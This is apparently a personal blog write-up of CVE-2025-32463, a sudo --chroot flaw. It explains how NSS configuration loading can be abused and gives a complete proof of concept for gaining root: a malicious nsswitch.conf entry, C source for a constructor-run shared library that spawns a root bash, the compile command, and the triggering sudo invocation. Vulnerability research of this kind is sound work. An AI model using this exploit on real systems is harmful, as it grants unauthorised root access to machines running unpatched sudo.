Featured image of post Gaining Local Privilege Escalation Using CVE-2025-32463

Gaining Local Privilege Escalation Using CVE-2025-32463

A complete workflow from CVE release to developing a proof of concept exploit for local privilege escalation.

CVE-2025-32463 Overview

The official CVE description from NIST reads as follows:

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the --chroot option.

Compared to some other CVE descriptions out there, that one gives us quite a bit to go off of, but does not inundate the reader with overly granular detail. With that said, there are some aspects to understand before a working on a proof of concept.

Sudo

To start, the fact that this vulnerability is in sudo speaks volumes to its threat level. The purpose of sudo is to allow a user to execute a command as another user, most commonly as root. While sudo is not necessarily installed on every Linux system (i.e. Debian 12 will not install it unless you create a local user during setup), it is an exceedingly common utility to install for system administration.

Chroot

Now let’s understand the --chroot option (-R for short) for sudo. The help message provides the description “change the root directory before running command,” which seems straight forward enough; instead of the actual root / being used, a user-defined root is used. The intended use here is to run commands in a nested filesystem, making it easier to manage a contained environment.

Name Service Switch (NSS) Configuration File

As for /etc/nsswitch.conf, the manpage for nsswitch.conf(5) describes its purpose as “to determine the sources from which to obtain name-service information in a range of categories, and in what order. Each category of information is identified by a database name.”

Furthermore, the service for each name is dependent on the presence of shared libraries, making the name-service implementation extensible. Based on the naming convention in the manpage, the following would invoke /lib/libnss_myservice.so.2 for the shadow database:

shadow    myservice

Tying this back to sudo’s --chroot option, there are two high-level functions that enable this feature. First is pivot_root(), which sets the user-defined root. Later, unpivot_root() is used to reset back to the actual root. Between calling these functions, the NSS operations are called to load the configuration file.

However, /lib is a protected directory. So even if a shared object was invoked during the NSS operations, higher privilege would be required to have any control over the contents of the shared object. If only there was a way to change the root directory!

The Vulnerability

Consider the following NSS configuration file being used as a result of sudo --chroot command:

shadow:    /myservice

Due to a lack of input sanitation, the leading / causes the directory that the sudo command is being run to be searched through (not the directory provided by --chroot). Despite this, the name of the shared object is still expected to begin with libnss_, so the expected library name at the time of executing sudo is $(pwd)/libnss_/myservice.so.2.

This is outside of the privileged /lib directory, thus is completely user-controlled, but still runs with root privileges. This opens up the door to complete access to the system, including spawning of a root shell.

Proof of Concept

Threat model

An unprivileged user (named user) has been compromised on an out of date Ubuntu 24.04 server. The system has a vulnerable version of sudo installed, version 1.9.17. The goal is to exploit the vulnerability and escalate privileges to root.

To imitate this, a VM on my homelab was created using Proxmox. Since this vulnerability has been fixed on the latest version of Ubuntu, the vulnerable version was downloaded from Github and built from source to replace the fixed version.

Image 1: Validation of a vulnerable for of sudo, version 1.9.17

One thing that came up during this process was the possibility of installing the vulnerable sudo as an unprivileged user. This would allow for even patched systems to become targets. Unfortunately, root access is required to properly install sudo, even outside of the system-level directories. The files must be owned by root, which is not possible with low privilege.

Setup

First, the minimal directory for chroot must be created. Since local access to the system as user is a given, a directory can be created at /home/user/cve-2025-32463. As alluded to earlier, this will be the home of the libnss_ directory to contain the user-controlled library. It will also contain the new root directory, including the malicious etc/nsswitch.conf file. So far, the directory tree looks like this:

cve-2025-32463/
├─ libnss_/
└─ root/
   └─ etc/
      └─ nsswitch.conf

The nsswitch.conf file contains exactly what is described in The Vulnerability section, leaving only the malicious C code to be written.

Privileged Code

The most obvious use of local privilege escalation is to access a root shell. The most straight forward way to do this outside of exploitation is to execute bash as root. To perform that action in C code requires little code. First, the real UID and GID should be set to that of root (0). Then, once bash is invoked, a root shell will be made available. Further setting of the effective UID and GID to 0 is the same level of effort, and will automatically invoke root’s .bashrc should it exist.

In C, heavily commented code would look something like the following:

// myservice.c

#include <unistd.h>

// The "constructor" attribute will force this function
// to automatically execute when the library is loaded.
__attribute__((constructor)) void myservice() {
    // Set effective and real UID to root
    setreuid(0, 0); 
    
    // Set effective and real GID to root
    setregid(0, 0); 
    
    // Execute /bin/bash, shows "bash" in the process table
    execl("/bin/bash", "bash", NULL); 
}

This code can then be compiled as you would any other shared object, ensuring to comply with the name convention set forth by NSS: gcc -shared -fPIC -o libnss_/myservice.so.2 myservice.c

Results

Having setup the appropriate file structure, developing malicious code, and compiling it in a way that it can be loaded properly, all that remains to execute the exploit. While in the cve-2025-32463 directory, executing sudo -R root . successfully loads a root shell. Note that the parameter after root has no effect on the execution of the command.

Image 2: Successful execution of a root shell using CVE-2025-32463

Built with Hugo
Theme Stack designed by Jimmy